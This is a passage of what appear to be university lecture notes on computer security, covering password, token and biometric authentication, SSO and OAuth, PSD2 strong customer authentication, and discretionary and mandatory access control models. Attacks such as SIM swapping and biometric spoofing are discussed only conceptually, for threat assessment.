human is the weak element of the security chain. Even if someone uses the secret there is no way to prove that it was used, unless
there are logging info/warnings about the usage of the system itself. The problem is related to the fact that a password does not
authenticate a person, it authenticates whoever knows the secret without telling whether it’s legitimate or not. Passwords act like
trusted elements: a secret that should be shared between the user and the system only. However, to know factor is widely used,
because it has many advantages: it has low cost, it’s easy to deploy and has a low technical barrier. There are existing libraries to
implement it. However, there are some disadvantages, related to the fact that secrets can be stolen, snooped, guessed, cracked,
enumerated. Passwords can in fact be stolen/snooped because they are written somewhere, even on a post-it: in general it is easy
to even see what someone is typing. People are not made to keep secrets. Passwords can also be guessed: the most common
passwords, retrieved from some data leakage, are the same among the majority of people. It was demonstrated that by using the
most common password to enter a system, it will be possible to access about 8% of the system. Furthermore, users tend to use the
same password for different systems. Another important fact is that passwords can be guessed if the target is known: sometimes
passwords are related to something the person likes, their birthday, their mother’s name and so on. Also, passwords cracking can
be done e.g. by combining existing words taken from dictionaries. This phenomenon can not be deleted (passwords can always
be stolen), but only be mitigated by e.g. enforcing a password that expires frequently and is long. Providing passwords in clear
text should be avoided, even when storing them in database hash functions should be used. Passwords managers are in general
a a good tool to manage passwords, they are usually trustworthy (password are not disclosed). The application to be trusted is the
open source one, and care should be taken when analyzing their security policies. Some countermeasures consists of enforcing too
many requirements that a password should satisfy, or enforcing the user to change it frequently, while making it more secure, will
decrease its usability because humans are not machines. Therefore the context must be analyzed: the most likely attack should be
identified and the correct countermeasure should be chosen and put in place accordingly. Authentication is sometimes provided at
the firs access only: security is always a cost. To assess the security of a system, let’s consider an example: protecting a university’s

20
mailing system. In this case, possible threat agents against the service’s passwords are divided into two categories: targeting
attackers (e.g. other students knowing the target) and general ones (e.g. spammers). Passwords stealing/snooping can be done
by both targeting and general attacks. Guessing is most related to targeted attacks. Cracking can be put in place by both. Among
these attacks, the most likely should be identified, in order to use an appropriate countermeasure: not all of them can be used,
because they decrease usability. Let’s make an example: if snooping is the most likely attack, the most important countermeasure
is changing the password frequently, followed by complexity and finally not being related to user. Against cracking complexity
is the most important, then change and finally not being related to user. In this case change is less important than complexity,
because brute forcing might just take seconds, but the time to brute force will increase if complexity is higher. Against guessing it
is mostly important for the password not to be related to the user, while complexity and changing the password are less useful. By
analyzing all the elements, the overall most effective countermeasure against these attacks is changing the password frequently.
However, most services usually ask for complexity and for the password not to be related to the user. This happens to improve
usability, which is negatively impacted by frequent changes in the passwords. In order not to enforce changing to much, the other
strategies are exploited. In this context, it is also important to educate the user about the importance of such countermeasures.
In particular, during the creation of the passwords, the creation of strong ones should be enforced: it’s possible to ask the user to
change the password less often but making it easier or the other way round. Two strong countermeasures at the same time only
represent a cost. An effective tool is the password meter, which helps the user creating an effecting the password, by highlighting
some requirements (countermeasures) related to how the password is being built. In this way, passwords’ creation goes under
a gamification process: each proposed password is evaluated according to certain strength parameters. Such tools help raising
awareness among users, concerning the risks related to passwords’ choice. Password meters balance usability and security, by
helping the user building stronger password. In 2012 the influence of password meters on passwords’ strength was studied: it was
demonstrated that password meters actually help a lot, by using them the probability of a password being cracked decreases up
to 20%. Moreover, the way password meters are presented may help improving security. By changing the user interface or the
gamification of password meters, stronger passwords’ creation can be enforced. Another interesting example is the passfault: this
application is a password meter that performs different kinds of analysis on a password (provided as input), first of all it will try some
dictionary analysis (known words in which some chars can be substituted by other chars, e.g. &, uppers, and so on) in different
languages, it will look for repeatability and random characters and even some key sequences (present in certain keyboards). This
tool also provides some examples of the analysis and of passwords considered secure by most services, it shows how long it would
take to crack them and the reason why it might be easy to crack them.

6.1.1 Secure Password Exchange

To Know factor is about sharing a secret: authentication happens because of two entities sharing a secret. To minimize the risk
of this secret being stolen by an attacker, the basis requirement is to deploy mutual authentication: in this way the receiver is
guaranteed to be the correct one. However, let’s analyze the worst case scenario: i.e. two entities that want to authenticate over
an untrusted channel.

In order to authenticate, an entity


must put their password and share
it over the channel, in this case
if the attacker is in the middle of
the channel they can sniff the pass-
word. To solve this issue a way
of authenticating without sharing a
secret must be found, this is pos-
sible thanks to the challenge and
Figure 7. Secure Password Exchange response scheme. In this case two
entities already know their own secret and the attacker has access to the untrusted channel, i.e. they can read anything that is
put on the channel. Entity 1 will ask entity 2 (identifier) for authentication, to authenticate entity 2 will ask entity 1 to compute the
hash of its secret (the one entity 1 should know) plus some random data being sent by entity 2. This scheme allows two entities to
authenticate without sharing the secret, by completing some sort of challenge. Entity 1 will compute the required hash and entity 2
will receive the result of the challenge: if the hash is correct the authentication is successful. Since authentication should be mutual,

21
entity one will now ask entity 2 to complete another challenge, e.g. the hash of the secret plus the original random data plus some
other random data. Entity two will receive the request, compute it and send it back to entity 1. If verification is completed, mutual
authentication is successful. In this case the entities’ secret is assumed to be the same (something they both know). The challenge
to be performed does not have to be a hash computation, it can be any (e.g. something similar to Diffie-Hellman). Both entities
should know the secret and the challenge before the exchange happens. Random data is needed to not just copy the conversation:
the hash is a non reversible function that turns an input into an output. Since it must guarantee integrity, the hash of the same
input will always provide the same output. Removing random data from the exchange E2 and E1 will just ask E1 and E2 respectively
to compute the hash of the secret: an attacker can simply look at the conversation, without knowing the secret they will know
the hash and interrupt the conversation. Random data is used to contrast the replay attacks, in which the attacker simply copies
the message sent during authentication and sends it to the other entity. By adding random data it is guaranteed that the hash
function’s output changes every time a communication is established.
Another way to secure passwords’ exchange consists of using encrypted communication (TLS, HTPS) instead of communicating
over an untrusted channel. In this case confidentiality and integrity will be preserved. If this kind of communication is not possible,
challenge-response scheme works just fine.

6.1.2 Secure Password Storage

Another issue to manage when considering the to know factor is the secure password storage. Besides securing passwords’ ex-
change, their storage must be secured as well. Computer machines store files with username and passwords of that particular
machine. An attacker might thus try to compromise confidentiality and integrity of such file. To minimize the risk of these files
being stolen the basic solution is to exploit a cryptographic protection: passwords should never be stored in clear, otherwise, if
the db is leaked, all passwords in clear will be leaked and the attacker could get to know them. Passwords are commonly hashed
by also adding a salt to mitigate dictionary attacks. Salting means adding a random string to avoid dictionary attacks: this concept
is similar to the use of random data in secure passwords exchange. In fact, most users use the same common passwords: if an
attacker is able to leak a db of simply hashed pw they will notice that there are a lot of password with the same hash, which is
thus related to most common passwords used by users. Adding a salt mitigates this problem: all password will have different
hashes. Another way to protect the storage is to deploy correct access control policies. Correct privileges must be granted to the
file that contains such confidential information, that is to say, only root users should have access to it. Finally, another important
countermeasure consists of making the password rec scheme as secure as the password itself. The attacker will attack the weakest
element of the system, which might be the password recovery scheme. Therefore, the same sec effort must be put in password
and in password rec schemes, by following some countermeasures:

• passwords should never be sent to the user in clear: this is a huge error, because it means that the service itself is storing the
password in clear, therefore if the password of the service is exposed it is exposed in cleartext

• never send a tmp password, but instead send a link to reset the password itself, to avoid any leakage in any case

If password recovery scheme is not secure it will be exploited by attackers to reach their purpose, aka the passwords. Another issue
is represented by caching: when a password is inserted into a system, it must be cached somewhere in the memory, therefore
when designing a system, it is important to make sure that this information is held in clear in intermediate storage locations for
the time strictly needed for the comparison .

Example: PoliMi’s policy PoliMi’s countermeasures used to mitigate the attacks include frequent changes (every 3 months): the
same password can not be used (the system checks that the password actually changes). This does not mean that PoliMi will save
passwords in clear text, passwords are hashed and the hash is checked. In fact, the password should have at least 3 different
characters (than the previous version): besides exploiting hash for comparison, PoliMi also encrypts the password with the master
password, this allows to check whether the current password is similar to the previous ones. In this case passwords are not hashed,
but encrypted: this case is similar to what happens with browser, when they make it possible to users to see their passwords in
clear. PoliMi only enforces length and changes, not characters: this is a trade-off.

22
6.2 The To Have factor

In this case the user must own a physical object (tokens, smart cards, smart phones) in order to be authenticated. Similarly to to
know, this factor authenticates the person (anybody) who is in possession of a specific object, not a specific person themselves.
Anyone in possession of that object will have the same rights of the legitimate owner. This is a problem, however in this case there
is an advantage: the cultural element that makes it less likely for the human to share the physical key. Humans might not be able to
keep secrets, but they are used to owning (protecting) and using physical objects. Other advantages that make this solution usable
are the low cost and the good level of security offered. There are also some disadvantages that should be considered: this factor
is hard to deploy. Considering e.g. a financial institution that has to share a to have factor in order to allow online transactions: to
deliver the token to all clients, the institution can not just send tokens by mail (might not be secure), a trusted channel is needed and
this might have to be done in person. Delivering each token to each section, so that each section can deliver it by person to each
client, gives the idea of how hard it is to deploy such a solution. Sharing the token is not scalable and there is no countermeasure
against that: this procedure must be followed. Furthermore a to have factor can be lost or stolen by attackers: e.g. if debit cards
had no second authentication factor (to know) it would be possible to withdraw money by simply stealing someone’s card. Let’s
consider some technologies that are used as to have factor of authentication:
• Smartcards: those are cards with a chip that contains a CPU, some non volatile RAM with a private key encripted in it. They
form a very basic computer: when the smartcard is inserted in the reader the system is powered up and booted. A very basic
OS that performs basic cryptographic operations is booted up: that is to say the circuits installed on the card are turned on
and a challenge and response protocol is exploited to authenticate to the host. In particular, the card encrypts the challenge
requested by the host with its private key, the host verifies the validity of the challenge by decrypting it with a public key
associated with that peculiar smartcard. In this case the challenge response verification is not bidirectional: only E1 sends
the encrypted challenge to E2. Mutual authentication can be implemented, but is usually not required. Since these cards
host the key, they are the trusted element of the system. One of the core elements is stat the private key must never leave
the device. For this reason, such devices must be tamper- proof: it must be extremely difficult for the attacker to retrieve the
private key without damaging the card itself or the info it contains. There are various levels of tamper-proof-ness:

1. Lowest level (tamper evident): if the attacker has compromised the device it must be evident, because the attacker must
have attacked the physical shell around the device. Trying to tamper them will bring to evident damage, the owner will
acknowledge that the secret is compromised.
2. Highest level: even if the attacker tries to retrieve the secret, during extraction the device will destroy the information it
contains

Smartcards can be used to digitally sign a document.

• One-time password generators: widely used in the financial sector. In this case something like a simple computer contains a
private key (they must thus be tamper proof, just as smartcards) and computes a counter which is synced with the server (the
host to communicate with). On the client’s side a password is computed, based on encryption of the counter with the private
key stored on the device. When the button is pushed the counter is generated and encrypted, and a password is shown on
the display. The user inserts it in the service and the host receives it and decrypts it with the public key associated with that
specific generator and obtains the original counter. The host checks whether the counter obtained is expected, otherwise it
is discarded. The counter is updated every 30-60s. The main challenge related to OTP consists of the sync between devices.
There are different solutions to this: e.g. policies to understand when the counter was generated, more than one expected
passwords at the same time. Managing synchronization is a huge problem.

• Static OTP lists: still used in finance, consist of printed cards with numbers written in it and organized as 2-entry metrics.
In this case the concept is that both client and host know the secret, the host (server) chooses the challenge (asks to insert
row n, column m number). Client has to transmit the response over an encrypted channel and the host must not keep the
list in clear. Some years ago, during a phishing campaign, a bank developed OTP: during the transition (which is slow, as
previously explained) they used static OTPs. However, they did not consider that this was not a general attack, but a targeted
one against the institution. The attackers created a website asking users to connect and insert all numbers of the card to
complete authentication. Thousand of clients inserted their number on the phishing website. This is a clear example of how
fundamental a correct threat assessment is when developing a security solution. Static OTPs are thus only used for a limited
amount of time, to prevent attackers from reconstructing the whole card.

23
• Nowadays, there are smartphones applications that implement OTP. The main advantage of this solution is that it is easy
to deploy and has a low cost, it is usable because there is no physical specific object involved (besides of course the phone,
which the client owns already). It is easy for the user to provide a second factor of authentication (to have, related to the
device). However there also is an important drawback to consider: phones are not tamper-proof, they are not embedded
devices designed for that specific platform. Smartphones can be infect, in this case they serve as trusted elements. They are
not single-purpose devices, they just provide the same functionalities as OTP while being a general purpose design which, for
this reason, can be compromised and infected. This solution combines almost the same security (it is still time dependent)
as OTP with more usability, at the cost of running them on general purpose devices. This is why it is such a common solution.
Moreover, a recent European resolution decided to regulate all security measures deployed by financial institutions in EU:
in this resolution the trade-off between usability, cost and security was investigated. However, this solution also generated
a new kind of attack, called SIM swapping: instead of targeting the security of the app, the security of the phone operator
is targeted. This attack occurs when the fraudsters are able to take control of the SIM card by exploiting social engineering
techniques. First of attacker obtains personal data from various sources (e.g. social networks) and convinces the operator that
the user is porting the number to another service, thus asking to make a portability operation. If this operation is successful
will receive all messages and will gain thus access to home banking. The user will only notice this because their SIM will
stop working. SMS are in this case used as trusted channel, to obtain permission to install the bank application on another
smartphone and successfully authenticate.
From a security point of view there is a huge difference between these techniques and it concerns threat exposure. Both are
tamper proof, but OTP is time dependent (changes every 30-60s): an attacker that wants to steal the token it generates only has
a small time window to perform their attack. Time represents an additional constrain: OTP are more secure, because they have a
smaller threat (attacking) surface, this is why OTPs are used in the financial field.

6.3 The To Be factor

In this factor the user must prove that they have some unique physical characteristics to be authenticated: fingerprints, head
geometry and so on. It seems to be the most robust solution for authenticating a person (high level of security, no extra device
to be carried around), but it has a lot of disadvantages. Biometric authentication’s first disadvantages is that it is hard to deploy
from a hardware and software point of view, moreover to authenticate the users it is necessary to measure the characteristics
of every single one of them. For example, when using fingerprints, it is necessary to measure every single user’s fingerprint: to
do this each one has to be contacted and their sample must be collected in a trusted place. It is not a scalable solution: it also
has high costs for the entity that wants to use this system due to hardware and software. Another core disadvantage is that it is
characterized by non deterministic matching. Let’s consider an example: to authenticate with a password the user must insert
the password, the system will check whether the inserted password is equal to the one stored in the data base, there is a clear
accept/reject (deterministic match) response for each attempt. With biometric systems the current measure partially matches the
stored data: when current features are measured, the similarities between reference feature and current feature are measured,
a user is accepted if the different between the two is lower than a threshold. Acceptance thus depends on the threshold: if it’s to
high there will be many false positives, if it is too low nobody will be accepted thus decreasing usability. When comparing current
and reference feature acceptance depends on this threshold. Another disadvantage is that these systems usually require invasive
measurements. Fingerprints, hand shape are fine, eyescan or DNA test might be less pleasant. In general comparing to be with to
know and to have to be is more invasive. Moreover all biometric features can be cloned. Let’s consider fingerprints again. When
touching anything our fingerprints are left on the touched surface: with the correct equipment anyone can replicate the fingerprint
on a gummy finger. Biometric features are surely unique but they are not secret, they are in many places. To introduce another
huge disadvantage let’s consider another example: when a password is stolen it is possible to reset it to prevent the attacker from
using it. But if a fingerprint is cloned the user can’t just cut their fingers: in general it is not possible to change it. This is another
limitation related to biometric authentication. A further disadvantage is that biometric features might change over time: e.g. face
geometry, voice and so on change while growing. Besides, even some sports might change the shape of fingers and so on thus
making it necessary to measure these features periodically. This further increases the costs related to biometric authentication.
Biometric characteristics can be re-measured: all users must be called to re-train the software. Moreover, unique features will be
stored on a database, if stolen such characteristics can not be changed, so there is another privacy and sensitivity issue: users
might not want to change their unique features. Because of this, the process of exchanging and storing the information must be
even more secure than with passwords. Another disadvantage is related to people with disabilities that can not use that specific

24
biometric system: all biometric system must also provdie another authentication way which can not be weaker than the biometric
one. Another issue relate3d to to be factor is related to people’s safety. For to know/have it is possible to convince people to
provide their passwords or token. For biometric features, malicious agents might just take biometric features without asking: this
usually happens in movies to bypass super-secure labs’ access, usually based on iris. Scientists in charge of opening the door might
literally have their eyes stolen. People’s safety is involved in this process. A person, when asleep, can be exploited to access e.g.
their smartphone. Looking a technologies involved in this process, there are a lot of them:

• fingerprints (most used) there are a lot of opensource implementations, next generations fingerprint scans will improve
authentication e.g. by including some way to check that the user is actually alive

• body geometry (face or hand) for face they build a 3D model measuring some features, faceID is harder to trick

• retina scan: measures retina (disposition of blood vessels at the bottom of the eye), to do this an infrared light camera is
needed

• iris scan: measures iris itself, just the colors which have a unique pattern, a high definition digital camera is enough

• voice analysis: should work very well, but doesnt in real life because voice changes over time because of voice, illnesses and
so on. Voice changes a lot, in general this authentication feature is not stable, is characterized by high variance which makes
it harder to find a correct threshold that balances full acceptance and rejection: match is not deterministic, it is hard even for
vocal assistants to recognize who is speaking. Also, deep fake can replicate people’s voice even if it was precisely measured.
Heartbeat has the same issue: it was proposed as authentication method, but was rejected because of its high variance

• dna: retrieved from bool requires more time

• typing dynamics: experimental methods related to how the user writes on keyboard, based on their style

In general having the user to collaborate to authenticate is in general safer. A trade off with usability must always be found. In all
these cases the correct threshold must be found.

Example Some years ago a professor from Padova demonstrated what it was possible to identify a person by analyzing the way
they take the smartphone from the pocket: the pattern of extracting the smartphone is unique. This is of course not the best way
to authenticate someone, but it is similar to typing dynamics.

6.3.1 Fingerprint use case

To deploy a fingeprint based authentication mechanism the first step is to buy hardware and software necessary to guarantee
it (direct costs related to this technology). Once installed, enrollment phase begins: reference samples of users’ fingerprints are
acquired, to obtain higher accuracy more positions of more fingers are required, this is what happens with smartphones as well.
Then from these measurements the features are derived: these features are called fingerprint minutiae, they correspond to figures,
end point of ridges, bifurcation points, core, delta, loops, whorls and so on that are on the fingers. From these feature vectors are
built: these are stored in a secure database. Cost and acquiring features make this method hard to deploy. However, the method
remains non-deterministic: when a user logs in a new reading is asked and the features of the current reading are compared
against the ones stored in the database. Similarities between current and reference measure are computed and, depending on
the threshold, the user is accepted or rejected. This is why there is a non deterministic match depending on the threshold. A secure
database means that the data is encrypted and stored in the device (not online). The model of the fingerprint/face is usually not
stored in a cloud: this measure was taken against privacy and security issues that arose among people. This example highlights
the limitations of biometric authentication. These methods, despite the disadvantage, have high security and usability levels.

6.3.2 Consumer-level biometric authentication

Considering biometric authentication methods, it is clear how easy it is to crack them e.g. with a gummy finger print. This was
true also for appleID’s fingerprint reader, which can be cracked with some basic chemical equipment, by scanning the phone
(literally), identifying the fingerprint in an image and imprinting it on a pcb to model the fingerprint itself and using some glue
to just reproduce it. Fake fingerprints might not work at the first attempt: this is because of non-deterministic match. However

25
exploiting non deterministic matches allows to be successful at some point if the fingerprint was cloned accurately.
Iris scanner (introduced in samsung galaxy S8) can be simply bypassed by taking a picture of someone’s eyes, printing it and
adding contacts to the printed image to make it 3D. In the shown video it is clear that the attacker, in this case, was targeting some
alternative solution already implemented in the auth method itself: in fact the attacker knows that authenticating at night means
that accuracy of matching is decreased, by using infrared, which are less precised, in fact the picture was taken in night mode.
The attacker exploits the fact that sensors are less accurate at night, this makes it easier to bypass them. Attackers focus on the
weakest element.
In 2019 during Black Hat it was demonstrated how it’s possible to lower AppleID’s face detection’s security by exploiting liveness
detection. The biometric authentication happening in Apple devices was analyzed and the following steps were identified:

1. biometric collection

2. preprocessing

3. liveness detection

4. feature matching

It was discovered that liveness detection (that checks if the eyes are open/person moving) is not vulnerable by design, but is
characterized by the fact that if the person wears glasses AppleID doesn’t build a 3D model of the person’s eyes, but a 2D model.
A PoC was built of glasses that simulate the pattern behind sunglasses: these allowed to bypass the authentication method by
putting them on the sleeping victim. The AppleID was not really bypassed, because the face of the user was still needed, but this
discovery made it easier to bypass it. The attacker’s pattern was: analyze the technology, find weakest element and attack it.

6.4 The social factor: who you know

This is another factor that belongs to experimental authentication methods. In this case, to authenticate the user has to prove
they know someone. This method was proposed by Facebook, which tried to propose it as an additional (2nd/3rd factor). It was
enabled for people who travel a lot. When logging in from a different country (geolocalization), facebook asked the user to recognize
some people in some pictures. If the answer is correct, authentication is successful. This method was introduced against phishing
attacks, in which credentials are usually just stolen. Basically this method asks the user to recognize some peole in the network.
Unfortunately it has quite some limitations: people dont really know all their friends on facebook, furthermore they were trying to
use information that was supposed to be secret except for intended users, however you can just search on the internet for that:
most people put all these info in public photos, it is easy to find someone online. An additional limitation is that you can just search
on facebook with another account: moreover when asking to authenticate they just put some photos that are easy to retrieve
online, the info is not really a secret and it is easy for the attacker to crack.

6.5 Single Sign On

This is a way to try and solve the issue of managing and remembering multiple passwords, which brings people to use the same
passwords over and over. This solution is based on 1 identity, 1/2 auth factors and 1 trusted host. What happens is that a trusted
host is elected, the user authenticate on it (sign on) and other hosts ask the trusted one if the user is authenticated. This is what
can be implemented in O-Auth, AunicaLogin for example. When logging in Beep, for example, beep will log in the polimi identity
provider where the user will insert their credential, which will be confirmed to beep allowing the user to access. Beep trusts the
trusted host (polimi). This is similar to SPID, but spid certifies the user’s identity. Another way to implement SSO is OAuth2 Flow,
which is implemented by google, facebook and so on (e.g.: "login with google"). What happens in OAuth is that a user who wants to
log into a service is asked to login with something (e.g. facebook), the user logs into this second service and through it grants the
permission to the first service to access the credentials (information), at this point fb will provide the user with a code which will
be provided to the app, the app will provide fb with the code and fb will provide the access token to access the info needed that
can be retrieved by the user. The user authentication, gives permissions and fb gives the app a token to access certain resources.
A trusted host is again elected. There are different technologies for this kind of authentication, e.g. Shibboleth, OAuth2 and so on.
The main challenge (limitation) of SSO is that a single point of trust is being considered, that is to say a single point of failure (e.g. a
server), if that is compromised all users connected to it are compromised. To implement SSO all security measures must be put in

26
place, to secure exchange very well. Also, passwords recovery scheme must be bullet proof, no matter what the peculiar trusted
element is. Another challenge is that implementing these methods is difficult from a developer’s pov: even if libraries exist, the
flow is complicated and can be bugged. The real schema implemented by OAuth2 is extremely complicated: vulnerabilities may
arise. The three main steps for a service provider, to regulate the access to a certain server, are identification (provide identity),
authentication (prove identity) and authorization.

6.6 Strong Customer Authentication and PSD2: a use case

Strong Customer Auth is a european regulatory requirement, introduced by EU to make online payments more secure and reduce
frauds. In september 2019 banks had to decline payments that did not satisfy SCA’s requirements: to accept them the requirements
had to be met. SCA requires another form another form of multi factor authentication: at least two of the three factors must be
used. SCA, which is used to authorize payments within EU, requires that two factors must be deployed to authorize a transaction.
This applies to all customer initiated payments happening in europe. 3D Secure and 2D Secure 2 are a way to auth online payments
with CC. 3D secure is an authentication standard supported by the majority of european cards. Applying it adds an extra step after
checkout, where the card owner is asked to provide some additional information (e.g. otp) to confirm the payment. 3D Secure 2 is
just another version: it introduces a better user experience. ApplePay and GooglePay already support payment flow with multiple
layers of authentication: biometric passwords are needed to complete the transaction. In this case multifactor authentication is
being used to complete the payment. To improve usability there are some exceptions to SCA: low risk transactions, payments
below 30€, fixed amount subscriptions, merchant initiated transactions, trusted beneficiaries, phone sales, corporate payments.
Smartphones or tokens are exploited to complete the multi-factor authentication.

7 Access Control and Authorization

Authorization is the third step of accessing a system, following authentication. Access control enforces operational security policies,
that define who is allowed to do some operations on a particular resource. "who" is a user, an entity, while "operation" is an
action the entity can perform on a particular object, called "resource". Access control is basically a binary decision: it consists of
allowing/denying a particular operation on an object that is requested by an entity. Problems may arise when it is applied on a large
scale: it is necessary to guarantee that all the parts of the system have enough knowledge to allow/deny a particular operation.
The main issue is that a system generally has a multiplicity of users and files: the more users and files the more the problem of
scalability of guaranteeing this decision is clear. It’s not possible to list all possible answers for all possible users: the possible
answers must be condensed in rules:

• How to design access rules?

• How to express the access rules in practice?

• How to appropriately apply them?

Who is in charge of applying access control is the reference monitor, an abstract machine that enforces access control policies.
Reference Monitor is a sort of guard that mediates all access requests in the system. It enforces all these rules and decides who
does what on which resource. Reference Monitor is implemented in all modern kernels (it is a process of the kernel), since it must
guarantee an answer to the previous questions it is also the trusted element of the access control mechanism. Being the trusted
element (in a security way) it must be tamper proof (if it’s compromised it must be evident), it cannot be bypassed and it must be
small enough to be verified/tested since the security of the entire system relies on it. If implementation of the reference monitor is
small it is easier to test and verify. From a high level point of view it’s possible to model access control mechanism by considering
a general schema in which various entities can be defined:

• objects (anything on the system)

• subjects

• principal (user)

27
The first step of the procedure is authentication: an entity authenticates and becomes a subject in the system which will require
access request to a particular object. At this point Reference Monitor enforces all access control policies: it acts as a guard and
checks whether the access control policies applied on the objects guarantee that the subject can perform operations on it.The final
output of Reference Monitor will be either allow or deny. There are various access control models, that can be divided in:

• Discretionary Access Control (DAC)

• Mandatory Access Control (MAC)

• Role-Based Access Control (RBAC), just a hybrid of DAC and MAC

The main difference between DAC and MAC consists of who assigns the privileges and is related to the entity that assigns the
privileges. In DAC it is the owner of the resources that assigns access control policies in a discretionary way. In MAC systems it is
the administrator that defines all policies for all the users, and only the administrator can change the policies.

7.1 Discretionary Access Control Systems

In DAC there is no need to be the administrator: the owner of a file can change all the permissions. In this case the resource owner
discretionarily decides its access privileges: a user creates a file and, being the owner, assigns another user the privileges of reading
it. This is implemented in all desktop OS: all off-the-shelf OSs are DAC and also all applications such as social networks. This is also
easier to understand. In every DAC system some entities must be defined: The entities are the same, but in Windows roles are

Entity UNIX Windows (not 95/98/ME)


Subjects users, groups subjects with roles instead of groups, multiple ownership of users and roles over files
Objects files (everything) files and other resources
Actions read, write, execute delete, change permission, change ownership
Table 1. DAC systems examples

used instead of groups, multiple ownership is possible and there are other actions possible. The Table 1 shows an example of DAC
implemented in a real system.

DAC in UNIX systems In UNIX to check the permissions associated with any file ls command is used. It lists all the files/folders
within a folder, their permissions, the subjects involved in the system (owner, group), last modified date and object itself. The per-
missions in UNIX systems are defined by the permission triads, according to the syntax shown in Figure 8.
For each class within the system, the possible actions that any entity can
take on a specific file must be defined. The first letter indicates the file type.
In Figure 8 d stands for directory, the following letters rwx indicate that
each entity inside the system (owner, group, all other users) can read, write
and execute on that object. To reduce the permissions associated to a file
the triad must be modified. By simply modifying the triad permissions can
be granted or removed to certain users.

DAC in Windows Systems In this case there is a different granularity in


actions that can be taken on files: there are more actions at different gran-
ularity Figure 8. UNIX Permission Triads

7.1.1 General Model of DAC systems

To model a DAC the basic entities must be modeled:

• subjects → exercise privileges

28
• objects → on which privileges are exercised

• actions → can be exercised

In general at runtime a file has a protection state, defined by the triple (𝑆, 𝑂, 𝐴) where 𝑆 and 𝑂 stand for Subjects and Objects
respectively, while 𝐴 is a matrix with 𝑆 rows and 𝑂 columns. Each cell 𝐴[𝑆, 𝑂] of the matrix defines the privileges of subject 𝑆 over
object, where the privileges are read, write and own (ownership can be added). This matrix is called Access Control matrix and
belongs to HRU model (named after its creators). IN HRU model there are also some basic operations:

• create (destroy) subject → add (remove) a row to AC matrix

• create (destroy) object → add (remove) a column to AC matrix

• add (remove) permission → change the cell’s content

A sequence of basic operations is called transition: transition allow to create/destroy files, change permissions and so on. For
example a transition used to create file (subject u; file f) would be: create object 𝑓 → add "own" into [𝑢, 𝑓 ] → add
"read" into [𝑢, 𝑓 ] This transition is not always correct: if the file already exists and is owned by another user, when executing this
transition the existing file is being stolen from its owner.
Before creating a file it’s necessary to check whether the file exists already or not. Every time a transition is defined in HRU the
correctness of the transition must be verified, to avoid files being stolen: this is the so-called safety problem. It is necessary to
verify that from an initial protection state ther is no possibility of writing a transition that steals someone else’s file. The system
must be secure by design. In general, when working with transition, it is necessary to decide whether, given an initial configuration
and a sequence of transitions, 𝑠 can obtain a right 𝑟 on 𝑓 . The answer to this question depends on what the owner allows on
that specific file: if the owner allows it the answer is yes, but if, despite the owner denying it, it is possible to obtain such right,
the set of commands (transitions) is unsafe by design. In a formal way: given an initial protection state and a set of transitions, is
there any sequence of transitions that leaks a certain right 𝑟 (for which the owner is removed) into the access matrix? If this does
not happen the system is safe with respect to right 𝑟. In a generic HRU model this is not decidable, it is only decidable in simple
system (mono-operational) or when subjects/objects are finite. The safety problem is in general a problem of DAC systems. The
correctness inside AC matrix must be checked, to avoid leaking privileges (which would mean leaking files from other users).
Common DAC implementations are just a reproduction of HRU models. To implement them another limitation related to AC
matrices must be tackled. In fact, AC matrix is usually a sparse matrix, therefore different implementations of it exist, that try to
solve the sparse matrix issue. These are:

• Authorizations table: only records elements related to non-null triples S-O-A, this approach is typically used in DBMS

• Access Control Lists: records by column, i.e. for each object the list of subjects and authorizations is recorded, focusing on
the object

• Capability Lists: records by row, i.e. for each subject the list of objects and authorizations is recorded, focusing on the subjects

In particular depending on the amount of subjects/objects (users/files) present in the system, Access Control Lists Capability Lists
should be used. Depending on how frequently subjects/objects change one or the other might be convenient. If there are few

ACLs CLs
efficient with per object operations efficient with per subject operations
most common case usually objects change, subjects stay
some sysrems (e.g. POSIX) use abbreviated ACLs capabilities are optional i POSIX (Linux, BSD)
cannot have multiple owners
Table 2. ACLs vs CLs

users and a lot of files that change frequently ACLs are the best solution, because of their efficiency with per object operations. If
instead there are few files but users change very often CLs are the best choice, being efficient with per subject operations. The
most common implementation in OS is based on ACLs: usually there are few users and a lot of files to work on. In truth, modern
OSs can implement both and a mixture is possible to manage different resources and users. Although being the most common,

29
DAC systems have some shortcomings: it is not possible to prove their safety (undecidable), moreover only access to objects is
controlled, while access to the data inside the object is not, since priviliges can not be granted to what is inside an objects. There
is thus a granularity problem: it is not possible to check what the object contains and this makes the system susceptible to issues
related to malicious user or trojan horse. Trojan horse problem consists of a malicious program running with owner privileges:
therefore a malicious user can trojanize the program (used by other users too) and, since the program (run by other users as well)
is making operations on some files, the trojan horse that was put inside the program can operate on it, although its owner can not.
In this case DAC can provide privileges on the entire program (e.g. word processor), but not on what is inside it. If a functionality
exists, within the program, that allows to read and copy data, the trojan horse will not be blocked. Trojan horse is at a lower
granularity level, than the one controlled by DAC. Another issue of DAC is related to scalability and management: each user-owner
can potentially compromise security of the system with their own decision.

7.2 Mandatory Access Control Systems

The main idea is to not let owners assign privileges, which are set by a security administrator who defines a classification of subjects
(clearance) and objects (sensitivity). On the basis of clearance and sensitivities the entities are classified. The classification is
composed of:

• a strictly ordered set of secrecy levels

• a set of labels

Instead of having the owner directly assigning permissions, the admin assigns to each subject/object certain secrecy levels and
labels. On the basis of this assignment the information contained in the system is classified. For example secrecy levels’ hierarchy
in US is: top secret > secret > for official use only > unclassified. Some labels could be: policy, energy, finance, atomal, noforn. The
classification is a combination of secrecy levels and labels: the couple emerging from the combination is called lattice. Classification
is a partial order relationship, in which dominance can be defined. A lattice dominates another one if and only if 𝑐1, 𝑙1 ≥ 𝑐2, 𝑙2 ⟺
𝑐1 ≥ 𝑐2𝑎𝑛𝑑𝑙2 ⊆ 𝑙1 This relation is reflexive, transitive and antisymmetric. This means that the only way for a subject to access an
object is by dominating it. Rights are accessed in terms of dominance. An implementation of MAC systems is the Bell-LaPadula
Model, which defines two MAC rules:

1. a subject 𝑠 at a given secrecy level cannot read an object 𝑜 at a higher secrecy level (simple security property)

2. a subject 𝑠 at a given secrecy level cannot write an object 𝑜 at a lower secrecy level (star property)

Some systems also implement an additional DAC rule, which states the use of an access matrix to specify the discretionary access
control (discretionary security property).
The main consequence of the two BLP rules is the tranquillity property, i.e. secrecy levels of objects cannot change dynamically.
As a result a monotonic flow of information toward higher secrecy levels is being created. An information in fact can only move
from a lower level to a higher one. The only limitation of this model is that it does not address integrity. BLP rules are employed to
classify secret information, which cannot be disclosed at lower secrecy levels unless a trusted element de-classifies it: e.g. in the
